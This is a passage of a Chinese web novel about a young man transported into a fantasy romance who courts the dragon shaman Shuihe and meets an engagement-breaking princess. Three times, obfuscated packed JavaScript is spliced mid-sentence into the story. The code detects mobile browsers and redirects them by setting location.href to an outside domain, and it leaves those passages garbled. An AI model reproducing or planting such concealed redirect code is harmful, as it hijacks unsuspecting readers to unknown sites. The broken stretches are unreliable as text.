沈夷之回家心切,只想快步追上水禾直接A上去,却被永巍轻轻一勾手指困在圆凳上动弹不得。 “大爷求求你了,就放我走吧。”沈夷之欲哭无泪,苦着一张脸向永巍哀求。 永巍却充耳不闻,不紧不慢地给身子僵硬的沈夷之倒了杯茶,因屋内唯一的桌子被水禾一拳轰碎,这杯茶水便被径直塞进了沈夷之的手心。 永巍花白的胡子抖了抖,自顾自打开了话匣子:“我与沈兄多年未见,竟未曾想到却是先见到了沈兄之子。” “自你幼时,眉眼便有几分与我那师弟司岳相像,如今竟与他的样貌别无二致,我也属实是未曾料到,国巫大人对司岳心存执念,你留在此处,只怕百害而无一益。” 沈夷之佯装出一副乖顺聆听的样子,心中却未曾激起一丝波澜。 “行行行,我明儿就走,您先放了我行么?” 永巍抿了口热茶,抬眸又瞥了沈夷之一眼,沈夷之虽比侄子宋暮的实际年龄小上许多,可若是按照妖兽的成年年龄算起来,沈夷之和宋暮大概是年纪相当。 再加上他与司岳长相酷似,又是知己老友沈知逸之子,一层层关系叠加之下,永巍难免动了恻隐之心。 僵持了大半日,永巍才终于下定了决心。 掩在宽大袖袍下的手指微微一动作,沈夷之顿感浑身轻松。 “我会修书与你父亲,梅山弟子会备好车马,用罢午膳你便速速离去吧。”永巍一面风轻云淡地说着,一面拂袖扑灭了屋内已经燃尽了的烛火。 穿书六日后才终于得知主线任务,只要攻略女主水禾就能顺利回到现实世界,沈夷之扁了扁嘴,对于永巍让他离开的建议并不情愿。 可胳膊毕竟拧不过大腿,永巍只一勾手指便能轻而易举地将他禁锢,沈夷之吞咽了下口水,表面乖顺点头,心里却想着权宜之策。 永巍朝屋外呼唤了一声,穿着玄色练功服的梅山弟子推门进来,只瞥了端坐在座位上的沈夷之一眼,便转头看向永巍。 弟子领命离开,不消片刻便提着个不小的食盒回来。 室内没有桌子,永巍便招呼沈夷之到草庐外的小亭内用午膳,清淡可口的菜肴一一被摆在桌案上,沈夷之却食不知味。 灵光一闪想到自己现在的人设是个骄矜的纨绔,沈夷之张嘴正要耍赖推托,一抬眼望见永巍正颜厉色的脸,想说的话便又老老实实地咽了回去。 “好大爷……走之前能不能让我见见水禾姑娘啊。” 永巍咽下最后一块薄饼,从弟子手中取过手帕将手口擦拭净后,才慢条斯理道:“你该唤她一声国巫大人才是。” 沈夷之忙改口:“就让我见一见国巫大人行么?” 永巍不语,沈夷之便当他是默许。 用罢午饭,沈夷之便被一梅山弟子领着下山,永巍并未一齐跟来。 路上的风雪相较于昨夜小了许多,稀稀落落的飘下几片,并不足以遮挡视线,沈夷之磨磨蹭蹭地跟在弟子身后,速度堪比蜗牛。 好不容易快到梅山宗正门处,远远地却瞧见一身穿着品月色朝服的女子一脚插进高高的雪堆里拔不出来。 沈夷之定睛一看,不正是他穿书任务的攻略对象? 领路的梅山弟子对水禾视若无睹,沈夷之却忙不迭凑上前去,他将脑袋往前探了探,看到水禾紧抿着唇,眉间愠怒的样子,才讪讪地把头收了回来。 再次相见的时机貌似有些不合时宜了些。 “国巫大人,需要帮忙吗?”沈夷之揉了揉冻得通红的鼻头,眨巴了两下清亮的眼睛。 水禾一眼便认出这人是昨夜冒充司岳的登徒子,本就苦得拧水的脸更加阴沉,没好气地质问他:“你怎么还没走?” “国巫大人有难,我怎能弃之不顾。” 沈夷之长了一张能说会道的好嘴,眼皮又相当活络,水禾那方还未应声,沈夷之却毫无包袱地蹲在地上,徒手将掩在水禾脚附近的雪堆给挖松。 他吭哧吭哧挖得起劲,丝毫没有注意到水禾上下打量他的眼神。 “搞定,可以把脚取出来了。”沈夷之站起身,将冻得乌紫的双手往阔袖里拢了拢,傻呵呵地吸了吸鼻子。 水禾看在眼里,只觉得沈夷之此时的模样像极了族内那些用脸撞破壳的小蛟龙,痴傻非常,若不是他顶着张与司岳极其相似的脸,水禾早就一掌拍过去了。 “喂,永巍允你在梅山宗大摇大摆地散步了?”水禾把脚从雪堆里薅出来,踢腿抖落沾了一鞋的积雪,因册封仓促,宗内为她准备的只是双单鞋,方才在雪堆里埋了那么久,鞋袜早就濡湿了。 经水禾这么一提醒,沈夷之这才猛地想起自己是在离开梅山宗的途中。 他顾不得多想,一伸手就将水禾宽大的袖袍捞进怀中,撒娇似地轻轻摇晃着,嘴里哼哼道:“国巫大人,我已经与沈府离心,这辈子都不想再回到沈府去了,还请国巫大人大发慈悲,让我在梅山宗避避。” 沈府娇生惯养的独子离家出走,左不过是耍性子闹别扭,况且他是沈府未来的家主,逃得一时又躲不过一世。 水禾一记眼刀甩给去,沈夷之当即识相地撒开了她的衣袖。 果然这人可恶至极,不仅贪生怕死,胆小懦弱,最可气的是偏偏顶着张与司岳无比相似的脸。 “速速带着他离去。”水禾别过脸,命令梅山弟子。 “水禾,你就饶过我吧……” 话音未落,水禾蓦地转过头,眸色氤氲,眼中满是不可置信。 已有三百余年,水禾未曾再从那人口中听到他呼唤她的名字,如今再次听到,却已是物是人非,心中少了怦然,多了酸涩。 水禾不知自己心中是什么想法,只觉得沈夷之那句轻飘飘的呼唤化作丝丝缕缕的线,将她的心绪缠绕起来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924982|160451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >也不知过了多久,守在身侧的梅山弟子发出一声不耐的叹息,水禾蓦然惊醒,抬眼望向沈夷之因刨雪而冻得乌紫的双手。 “去回禀永巍长老,蜀南沈氏公子死缠烂打,不愿离去,日后便随我一同住在国巫别院。” 水禾说完便抬脚离开,沈夷之闻言一愣,又悠悠地望了那梅山弟子一眼,得意洋洋地冲他点点头,飞也似地随着水禾去了。 一路上水禾都不与沈夷之言语,只是不住地垂首叹气,沈夷之乐陶陶地跟着,并不知晓水禾的心事。 水禾一忽儿觉得自己是任意妄为,一忽儿却把自己的变化归咎于梅山宗,她只不过才入宫一日,却变得和那些喜怒无常的朝臣一个样子,人不像人,妖兽不像妖兽。 冬季的日头短,日光消逝在层层叠叠的山峦之间,隐去了最后一丝光辉。 现下是梅山宗弟子用晚膳的时候,三五个结伴而行的弟子手里提溜着不甚明亮的灯笼正往公厨赶去。 沈夷之想着所谓攻略无非是无时无刻不对水禾好,便顿住了步子,让水禾在原地等他。 水禾不明所以,索性等在原地看看沈夷之究竟想做什么,却见沈夷之凑到一伙梅山弟子中间交谈,不一会儿便提着盏忽暗忽明的小灯笼回来了。 梅山宗的灯笼都是特制的,所有灯笼上都用遒劲有力的笔触写着一个大大的“梅”字。 沈夷之先前并未用过灯笼,提着灯笼回来的路上也不晓得用身体挡住呼啸的寒风,灯笼在沈夷之手中不停转圈,待回到水禾面前时,灯火已然熄灭了。 水禾站在原地看着沈夷之手忙脚乱点亮灯火的样子,忽而没由来地想到了司岳。 她自小便跟着司岳生活,那时司岳也不过是条刚会化形的蛟龙,比起水禾大不了多少,水禾自儿时便畏寒,那时的司岳也是像沈夷之这般一遍又一遍不厌其烦地为她点亮寒夜里被山风吹灭的火堆。 水禾怔愣在原地,一抹奇怪的感觉悄然涌上心头。 面前这个与司岳极其相似的男人,当真不是司岳本尊?或许是司岳有苦难言,必须摒弃妖兽的身份才能陪伴在她身侧? “亮了亮了!咱们走吧。” 水禾回过神,轻轻摇了摇头,她一只脚的鞋袜还湿漉漉的,在这冷风里站了许久也已经冻得没有知觉了。 梅山宗顾名思义便是建在梅山之上,因宗内弟子多为人族,对妖兽抱有诸多偏见,永巍便将水禾的住处安排在了人烟稀少的山顶。 山路陡峭,风雪路滑,沈夷之提着那盏烛火熹微的灯笼缓步跟在水禾身后,怕水禾脚滑失足,沈夷之便空出一只手虚浮地拦水禾身后,不为别的,只为能在关键时刻救下水禾从而拿到免死金牌。 只是水禾身强体壮,爬上山顶也没出半点闪失,沈夷之遗憾叹息。 别院老旧,墙边爬满盘桓交错的藤蔓枯枝,才推开大门,却见水禾愣在门槛处一步也不肯上前,沈夷之惊奇地凑上去,却同水禾一齐怔住—— 6. 第 6 章 偏堂顿时鸦雀无声。 沈夷之惊觉自己说话的声音引起了水禾的注意,当即吓得把头缩进了被子里。 “你在跟谁说话?” 水禾趿拉着鞋子,怒气冲冲地站在沈夷之打地铺的位置前,沈夷之闻言小心翼翼地将半颗脑袋探出被子,仅露出一双眼睛怯怯地望着水禾。 沈夷之坦言:“我早就跟你说过我是穿书来的,刚才我在跟系统说话。” “穿书”、“系统”,又是水禾听不懂的词汇。 水禾动了怒,硬生生抓着沈夷之的头发将人从被子里扯了出来,即便耳边充斥着沈夷之哭天抢地的声音,水禾也丝毫没有手软。 本来一个氏族子弟离家出走逃进了她的住处就已经离谱至极,可谁知他的言行举止简直像个十足的疯子,如今沈夷之竟然连招呼也不打就理所当然地住进了她的偏堂。 虽说水禾而今已有一百余岁,但在她们蛟龙一族中,她还是个正值青春的少女,怎能就这么和一个癫子孤男寡女共处一室。 “姑奶奶,你听我解释啊!” 沈夷之大叫着想要挣脱她的桎梏,可水禾毕竟不是常人,哪怕沈夷之一个成年男子的力量也无法与水禾匹敌。 见水禾不为所动,只拽着他的衣领闷头往门外拖去,外面天寒地冻,水禾这下是铁了心不想再管沈夷之的死活。 无奈之下,沈夷之只得全盘托出:“国巫大人,我说!我什么都说!” 水禾的动作僵住,当即撒开了沈夷之的衣领。 沈夷之一张脸憋得通红,他敢打赌,若是水禾再拽着他的衣领不肯松手,他恐怕就要先死在被拖往门外的路上了。 沈夷之大口大口地喘气,胸口随着他的呼吸剧烈起伏,水禾没有等人的习惯,从沈夷之收拾好的桌案上倒了杯水便直愣愣地坐在了他的地铺上,道:“说吧,穿书和系统究竟是什么意思?” 沈夷之揉了揉被勒得泛红的脖颈,暗自编排了句水禾的坏话,便在地铺上重新坐好,对着水禾堆笑:“小孩没娘,说来话长。” 不出意料地挨了水禾一记白眼,沈夷之吞咽了一下,才又重新向水禾解释。 “我原本不属于这个世界,只是因为一些莫名其妙的不可抗力,被迫来到了你们的世界。” 水禾听得全神贯注,因不理解沈夷之的意思而微微偏头,示意他继续讲下去。 “你们的世界是虚构的小说内容,我目前所穿书的角色在小说里只是一个跟你没有多少交集的配角,而你,水禾,才是这部小说真正的女主角。” 水禾一惊,握着瓷杯的手倏地一哆嗦,杯中的茶水尽数泼洒出来,沈夷之的被褥湿了大半。 她反问沈夷之:“我是女主角?” 沈夷之的目光仍留在被子上被水禾泼湿的那部分,他一脸惋惜地看了又看,也不知道睡前能否将这部分给捂干。 注意到水禾一直盯着他,沈夷之才慢吞吞地转头回答:“对啊国巫大人,女主角就是这个世界最酷炫狂拽屌炸天的存在。” “最酷炫狂拽……” 沈夷之吓了一跳,忙伸手捂住水禾的嘴。 “学点好的,别什么都学。” 水禾轻轻点头,温热的呼吸拂在沈夷之的手背,像是有片轻盈的羽毛落在上面,有些痒,搔动得沈夷之的心也有些异样的感觉。 水禾仍在努力消化着沈夷之所说的话,并未留意沈夷之僵硬的动作和不自然的表情。 黯淡的月恍惚了夜色,昏暗的烛火映在水禾脸上,如玉如雪,长长的睫羽阴影遮盖住她晦涩难懂的眸色,粉腮微晕,出尘如仙。 沈夷之几乎忘记了呼吸。 他母单了二十一年,还是平生第一次与言情小说里对女主一见钟情的男主共情。 原来不是那些文字矫揉造作,而是他这头山猪当时还无法品味细康。 脑海中蓦地发出一阵犹如电台频率调谐不准而产生的电流声,这嗡嗡声来得匆忙,消失得也突然,而后又隐约听到谁在呼唤他—— 【哥……哥!】 【哥你听得到我的声音吗?】 【不会这就gg了吧!?】 【沈夷之!你这个春心泛滥的大猪蹄给我醒一醒!!!】 尖锐的声音猝不及防地钻进沈夷之的脑子里,他一下打了个激灵,惹来水禾像看傻子一样的目光。 沈夷之讪笑两声,无措地向水禾解释道:“在我脑子里跟我交流的声音就是我所说的系统,她是我在现实世界里的妹妹,但你听不到这声音,恐怕会不信我说的话。” 正如沈夷之所说的那样,听了他对于“穿书”的解释后水禾原本是半信半疑的,但沈夷之又说那“系统”的声音只有他一人能听到,水禾鄙夷沈夷之的同时,竟觉得自己真是疯了才会大半夜不睡觉坐在这里听沈夷之讲傻话。 虽无法判断水禾面部表情的变化,但沈夷之明显感觉到水禾相比于方才变得兴致缺缺,他无奈摊手:“国巫大人要我解释我也解释了,但信与不信都由大人决定。” “哦。”水禾应了声,见沈夷之沉默,她才意识到自己的态度似乎有些敷衍了事,才又补充道:“我睡了,明早还要上朝。” 水禾说罢便离开了沈夷之的地铺,抬脚趿拉上自己的鞋子,钻进重重叠叠的珠帘,掩去了她纤细瘦弱的身形。 珠玉相撞发出洋洋盈耳的响声,良久后归于宁静,夜里寂寥得可怕,只有熠熠烛火结出灯花发出几道清脆的“噼啪”声。 满屋子飘着沉香屑的香味,熏得沈夷之的脑子有些昏沉,他窝在潮湿的被褥里,忽然有些想念现实世界的家。 虽然家里只有他和妹妹两个人,但相互依偎的感觉似乎也不错,至少他现在很怀念。 偏堂没有关窗,水禾卧房里燃着的火盆,屋里暖融融的好似春天一样,窗外那剪清幽的明月挂在天边,沈夷之躺在地铺上仰头便能瞧见。 凝望着,却见皎皎的明月旁多了些细密的白色小点,沈夷之一下从朦胧的睡意中惊醒,用力揉了揉眼睛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924983|160451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才看清那些白色小点原来是窗边又落下了鹅毛一般的雪。 沈夷之感到心里某处忽然有些难以抑制地发酸。 沈夷之和沈翩翩是南方人,还不曾亲眼看到过下得这般肆无忌惮的大雪。 沈翩翩一直都想看看真正的雪景,如今倒没想到,是他这个做哥哥的先得偿所愿了。 也不知沈翩翩吃不吃得惯食堂,住不住得惯宿舍,想不想他这个失踪了一周的哥哥。 沈夷之枕着双臂思索,脑海中却意外地响起了沈翩翩的声音,【哥,你睡了没?】 沈夷之默不作声。 【睡着了就算了,等你明天醒了再说。】 沈夷之扣了扣耳朵,不耐烦道:“有话快说有屁快放。” 现实世界的沈翩翩在宿舍的床铺上翻了个身,对着并不存在的沈夷之白了一眼,她咬牙切齿地说:【你要是再敢对我这么说话,就等着永远困在小说里吧!】 “求之不得。”沈夷之故意呛她。 【你!你……】脑海中的声音越来越小,语气里甚至带着一丝不易察觉的讥诮,【你不会真的喜欢上水禾,想要跟她在小说世界里共度此生了吧!?】 “卧槽你别乱说啊!”沈夷之惊慌失措,一下从床上坐起来,后背笔直得宛如后山直溜溜的翠竹。 原本低声窃语的音量陡然增大,在幽静的夜里格外突兀,珠帘那头的水禾亦被惊醒,若不是因为她此时睡意朦胧,只怕早就冲上来教训沈夷之这个扰人清梦的家伙了。 水禾赖得出被窝,只轻咳两声提醒沈夷之注意收敛。 沈夷之担心水禾再听到他自言自语,会和沈家的人一样把他当做彻头彻尾的傻子,索性将头缩进被褥里,他低声交代沈翩翩:“天大的事也等到明天再说,她明天还要上早朝。” 【可你原来不是称她为女魔头么?】 沈夷之懊恼捶地,但他不敢再惊扰水禾休憩,因此只握紧拳头虚浮地在地铺上做捶地状,他朝沈翩翩解释:“你不懂,我这是攻心之策,等她把我看做自己人,我就不会死在她手上了。” 【啧啧……】 沈夷之单方面屏蔽了与系统之间的联系,叹了声气合上双眼。 寒梅,大雪,温室暖。 翌日,天还不亮水禾便套上了水色朝服,踩着星月便要去赶赴早朝,只是才到了山脚,却见门口站着一个快要睡着的少女。 少女身穿桃色烫金的裙衫,昂扬的朝天髻上华胜、珠钿样样不落,颈上带着珍珠翡翠相间的璎珞,彰显着佩戴者身份不凡。 纤细修长的脖子要支撑这么多沉重的首饰,少女的头颅却始终高高昂起。 听到水禾踩雪的动静,少女猛然惊醒,声音里却带着藏不住的沙哑,她问水禾:“蜀南沈氏沈夷之何在?带他来见我。” 水禾一怔,脱口而出:“你是?” 少女闻言斜睨了水禾一眼,摆出一副高高在上的样子,话语几乎是从鼻孔里哼出:“你就说,是他未过门的妻子要见他。” 7. 第 7 章 郡桃公主驾到。 水禾往郡桃公主身后望去,两个仆从在冰天雪地里冻得身形瑟瑟。又看看面前像只高傲孔雀一般的郡桃公主,水禾沉默了一会儿。 郡桃以为水禾是个没有眼力见儿的,昂了昂头,挑明了自己的身份:“你听到本公主说话没有?” “臣要上朝,恕不能为公主转达。”水禾思索着永巍教给她行礼的姿势,弓身向郡桃公主行了个不太周正的礼。 郡桃挑眉,终于拿正眼去瞧水禾,望见她身穿水色朝服,头戴国巫冠冕,这才知晓了水禾的身份。 她旁若无人地绕着水禾转了一圈,而后又在水禾面前站定,迟疑地问她:“你就是新任国巫?” 郡桃深居后宫,鲜少抛头露面,她只听闻昨天是新任国巫入宫册封的日子,却不曾亲眼见过,今日一见,郡桃却觉得这新任国巫看起来似乎与自己年岁相仿。 大哥郡泽贵为一国之君,哪怕是忙里偷闲与她见上一面,待不久便又要回去处理似乎永远都批不完的政务,二哥郡燃与郡泽不和,被大哥随意找了个由头贬往清清山,自此与她不复相见。因此,郡桃在宫中并没有年纪相仿的玩伴。 见到水禾,郡桃的眼睛难得亮了起来。 她一下挽住水禾的手臂,命令她:“你带我一同去找沈夷之,皇帝哥哥那里由我去说,他定然不会怪罪于你。” 水禾当即愣住,她竟不知道,原来躲掉令她胆战心惊的早朝竟这么简单。 郡桃态度强硬,不容拒绝;水禾心花怒放,从风而服。 郡桃一声令下,两个仆从各司其职,一个转头小跑着钻进公主豪华气派的马车内取来郡桃的兔毛斗篷,一个快步走向水禾朴实无华的马车旁同赶车的小太监传达公主之命。 小太监闻言向水禾看过来,点了点头便驾车离去了。 还是公主的话好使,水禾感慨。 “走吧,你带路。”郡桃理所当然地将手搭在水禾的小臂上。 不必出现在暗流涌动的朝堂之上固然是好的,水禾答应得干脆,带郡桃去见沈夷之的路上她看风雪都是可爱的,若不是郡桃固执地挽住她的手臂,水禾甚至会高兴得跳起来。 但如今水禾的身份已然发生转变,贵为一国之巫,便要摈弃掉她之前所有不成熟的想法与行为。 回到梅山山顶的路上,郡桃有一搭没一搭地同水禾闲聊。 她问水禾:“你看起来与我年岁相仿,如今年芳几许呀?” 水禾沉默了一会儿,回想起昨日册封大典上的闹剧,人族厌恶妖兽,而宋暮也在朝堂上帮水禾掩藏了身份,虽然是个人尽皆知的秘密,但总不好直接揭穿。 略一沉吟,而今她这个模样看起来约莫正是人族正值桃李年华的少女样子,便脱口而出:“二十有三了。” 郡桃蓦地停住步子,她转过头挑眉看向水禾,眼神惊诧,语气里也含着难以置信:“二十有三,那你可曾婚配?” 水禾乖顺地摇了摇头。 “我前不久才过了十九岁的生辰,皇帝哥哥却总说我是个大姑娘了,还未经我允许便给我指了婚!”郡桃说得情绪激动,愤而跺脚。 看郡桃如此不情愿的态度,水禾不难猜出她如此急切地想要见到沈夷之的原因,大约是此前已经去过了一次沈家,寻人无果,打听到沈夷之来了梅山宗才又转头追来了这里。 但沈夷之的婚事与水禾无关,郡桃找上门来退婚也不是她能左右的事,况且她和沈夷之相识才不过两日,也没什么深厚的交情。想到这里,水禾心中的罪孽感才烟消云散。 来到山顶,水禾一声不吭便领着郡桃进了别院,地上的积雪才被人清扫过,湿漉漉的脚印一直从廊坊延伸到月台。 天寒地冻的,水禾想着尽一尽地主之谊,便邀请郡桃进屋坐,才推开半却门,却望见沈夷之自顾自在屋里忙碌不停的身影。 水禾傻眼站在原地,惹来郡桃疑惑的目光。 谁曾想,一个衣着不凡,俊秀爽朗的少年正左手拿着抹布,右手举着鸡毛掸子在屋内忙得不亦乐乎。 水禾有点怀疑永巍教给她的知识点是不是哪里不对,正常情况下,名门望族世家权贵的少爷小姐不该都是养尊处优娇生惯养?怎的沈家这个少爷偏偏清新脱俗,不仅出得厅堂,还能下得厨房? 一定是她早上起得猛了些,导致她脑子还没有完全清醒。 水禾用力甩了甩脑袋,却一个趔趄险些摔倒,所幸郡桃眼疾手快抓住了她。 “你这是怎么了?” “起猛了,见到鬼了。” 水禾没有乱说,她自幼便听司岳给她讲起容国都城的小姐少爷们过着如何养尊处优的生活,而今看到沈夷之这么个特殊的存在,不亚于青天白日见到鬼。 “鬼?!哪里有鬼!” 郡桃胆小,听水禾这么说一下被吓得惊声尖叫起来,脸涨得通红,声音里甚至含着一点哭意。 水禾察觉到失言吓到了郡桃,面瘫着一张脸忙去安慰她,正在房内抹桌子的沈夷之闻声也赶了过来。 沈夷之瞥了一眼不相识的郡桃公主,转头去问水禾:“国巫大人不是上早朝去了吗?” 水禾哑然,如果不是郡桃在场,她真的很想质问沈夷之,他究竟能不能看出眼下最紧要的问题所在。 水禾没有答话,兀自安慰她:“公主,梅山宗内没有鬼,是我比喻不当了。” 郡桃眨巴着眼睛,脸颊因为情绪过大起伏而飞起了红霞,她惊觉自己失态,一把推开水禾的手重新昂扬着头目视前方,郡桃头上的首饰也随她的动作碰撞在一起,环佩叮当,一步一响。 她端起公主的做派,高贵得宛如一只鹤。 水禾小声提醒:“公主,您面前这位就是沈夷之了。” “就是你?”郡桃敛了面容提高了声音,她方才还纳闷堂堂国巫怎么只有这么一个负责打扫整理的小厮。 如今看来,竟是她那未婚夫扮演起了勤勤恳恳的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924984|160451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小厮,郡桃愈发觉得沈夷之配不上自己,故意向他发难:“见了本公主怎么不行礼?” 沈夷之偷瞄了一眼水禾的脸色,见她面无表情地朝他点了点头,沈夷之这才乖顺地向郡桃公主行了个常礼。 沈夷之如此配合倒是郡桃意料之外的事,她原本还以为自己这位未婚夫如坊间传闻里的那般,是个趾高气昂,目中无人的纨绔。 但沈夷之的配合并不是坏事,郡桃端着双手,开门见山:“本公主此次前来,是要同你退婚。” 退婚? 沈夷之并不明了他何时多了一桩连自己都不知晓的婚事,应当是与前炮灰男配沈夷之的婚约,与他何干。 沈夷之一副无所谓的样子,毫不犹豫地点了点头。 “我同意。” 原本就是一件莫名其妙的婚事,眼下沈夷之觉得最要紧的事,就是如何保证自己未来不会像小说里那样惨死在水禾手里,至于旁的人,旁的事,他通通不放在心上。 可沈夷之干脆利落的答复却惹来郡桃的不满。 郡桃原本想着,她贵为一国公主,当朝君王郡泽是她的哥哥,即便是她无理取闹想要找沈夷之退婚,也该是沈夷之央求着她不要退婚,一番推脱之后才被迫取消这桩婚事。 可如今沈夷之无关痛痒的态度却让郡桃有些下不来台,她是容国君王唯一的妹妹,不该受到这样的对待。 郡桃恼羞成怒,抬手就将手里精美的兔毛手笼扔向沈夷之,可沈夷之毕竟是四肢发达的青春男大,在家躲避妹妹随机掉落的投掷物也早就被锻炼出了肌肉记忆,如今已经是闪避技能点满的状态。 沈夷之只微微偏头,便轻巧地躲过了郡桃扔过来的手笼。 “我已经答应公主退婚的要求,公主怎么平白无故对我发火呢?” 沈夷之时笑着问这句话的,鲜衣怒马,少年得意,只是那笑里掺杂着不在乎和无所谓,反而将郡桃的怒火激得更盛。 郡桃的眉目中含着无法捉摸的戾气,或许是太过在意自己公主的高贵身份,她无法做到像平常身份的人那般坦诚,她怒视着沈夷之,一言不发,可一双眼睛却好似什么话都说尽了。 “公主息怒,公主有所不知,沈氏独子沈夷之近来受了些刺激,与沈氏决裂才逃到了梅山宗,如今他尚且未恢复理智,还望公主海涵。” 水禾往前一步为沈夷之打圆场。 倒不是她热心,而是她惦念着远在清清山的司岳。 若是郡桃公主的事情闹大了,怕是整个梅山宗都不会好过,而梅山宗的腾蛇永巍想必也要吃些苦头,司岳最净重他的师兄永巍,定然也会忧心忡忡。 权当是她爱屋及乌了。 郡桃狐疑地望着水禾,质问她:“真的?” 水禾点点头,沈夷之不想水禾抹黑自己,不然这世界就又多了一个把他当傻子看的人了。 他本能地想要摇头否认,可看见水禾抿着嘴唇的样子,最终妥协地选择了沉默。 8. 第 8 章 水禾给了一个台阶,郡桃顺势而下。她迟疑地点点头,头上簪的缠丝金雀像是活过来一般频频振翅。 碍于颜面,郡桃微微笑起来,眉目中却仍含着挥之不去的愠色,她说话时并不看沈夷之,而是直视着水禾,“婚期定在明年八月初五,本公主要沈氏尽快给出一个令本公主满意的退婚理由。” 水禾转而去偷瞄沈夷之的脸色,却见他从始至终都是淡然入水的样子,不关心,不在乎,仿佛这世间的事都与他无关。 这时候倒端起一副世家公子的好模样来了。 水禾暗自白了沈夷之一眼,转头又去应承郡桃的要求。 “臣遵旨。” 得到回应,郡桃公主昂扬着头转身要走,与水禾擦肩而过时,她顿住步子,语气再寻常不过道:“国巫大人与我年纪相仿,我在宫中时常无聊,还望国巫每日下了朝后能到深宫中与我说说话,做做伴。” 说罢掸了掸衣袖上的落梅与尘土,便被匆匆赶来的梅山宗弟子们簇拥着送下了山。 水禾多看了两眼郡桃头上那只频频振翅的缠丝金雀簪,心想,清清山的仙鹤姑姑肯定喜欢。 沈夷之站在水禾身后,望着她如水一般清亮的眸色,似乎懂了些什么。 册封第二日便找由头不上早朝,整个容国怕是只有水禾干得出来。 下了朝的宋暮在城楼之下左等右盼,却始终也没把水禾给等来。他一会儿忧心起新任国巫是不是册封第二日便遭到了刺杀,一会儿又想是不是永巍舅舅有了什么计划还未来得及告知他。 宋暮本是火兽,心焦气躁不善等待,却为了这个只有一面之缘的国巫大人苦等了整整两个时辰。 待夕阳西下,金色的日光在城墙上镀了一层耀眼的光芒,宋暮再也等不下去了。 他要赶去梅山宗看看是否发生了变故。 起初宋暮还是老老实实地坐在马车上,可他嫌马车赶路太慢比不上他的脚程,便悄然钻出了马车,一振翅,一只身形庞大的玄鸟直冲天际,与祥云并肩,一刻不停地往梅山宗赶去。 不用上朝一身轻,水禾百无聊赖,独自溜到月台喝茶看雪。 以前在清清山时,水禾总是瞧见司岳抱着一壶清茶形单影只地坐在山涧中,司岳曾给她倒过一杯,画着牧童初雨的白瓷杯里盛着青翠色的茶水,一看就是人族才会喜欢的东西。 清清山的妖兽们自在惯了,没有妖兽喜欢化作人形用人族的东西,哪怕渴了也是把头伸进河塘里喝水。 偌大的清清山只有司岳与众不同,终年都以人形示人,还像普通人那般给自己盖了一间小小的茅草屋。 水禾无法理解司岳的种种行为,她只是默默地跟在他的身边,听他讲起在容国的所见所闻。 水禾原本并不习惯茶水苦涩的味道,但来到梅山宗后,似乎一切都在潜移默化地影响着水禾,她喜欢闲来无事趴在月台上看风景,喜欢人族女子款式多样令人眼花缭乱的裙衫,喜欢某些人族身上令人安心的气味。 亲昵得仿佛她本该是人族一般。 想到这里,水禾一瞬间有些恍惚,月台外的红梅飘飘忽忽地落紧了水禾手中的瓷杯里,在翠色的茶水间显得触目惊心。 “轰——” 一声巨响,将水禾身处的月台砸了个粉碎。 所幸水禾还保持着妖兽的机敏,听到窸窣的破风声时便动身离开了月台。 待巨响震起的飞雪和烟尘消散过后,断壁残垣内,赫然站着身穿火红色官服的宋暮。 有人不请自来了。 水禾的太阳穴不受控制地突突跳了两下,她纳闷,这几日里她这小别院怎么就如此多灾多难,那天夜里一掌轰飞沈夷之时在墙上砸出的大洞才补好不久,水禾的心爱的月台又这么在她眼皮子底下化为了粉末。 闻声而来的不止梅山宗弟子,还有一脸茫然的沈夷之。 他尾随在梅山宗弟子身后,嘴里隐约说着什么,看口型就知道他又在说着一些水禾听不懂的词汇了。 “乖乖,这小说里的人都这么牛逼啊,那我岂不是随时都会有生命危险!?” 水禾的注意力全在宋暮一人身上,见他漫不经心地掸了掸官服上的尘土,抬头就与面无表情的水禾四目相对了。 他一愣,微微笑着朝水禾弓手行礼:“见过国巫大人。” 水禾:“你……”能不能先出来再说话。 想说的话还未说出口,便见赶来的一众梅山弟子齐齐在宋暮面前跪成了一排,异口同声道:“恭迎五长老!” 水禾僵在原地。 沈夷之不明所以,穿过拥挤的人群绕到了水禾身后,见水禾呆若木鸡的样子,伸手扯了扯她的衣袖。 而水禾的脑海中还回荡着那声五长老,她的大脑宕机,一时无法正常思考。 梅山宗身为容国的国教,一直以来都由五个权利至高无上的长老一起打理,水禾来梅山宗的第一日见到的便是身为五长老之一的腾蛇永巍,同时他也是司岳的师兄。至于别的长老,水禾闻所未闻。 她竟不知这梅山宗内的第五位长老原来是位如此年轻的同僚。 或许连同僚都算不上。 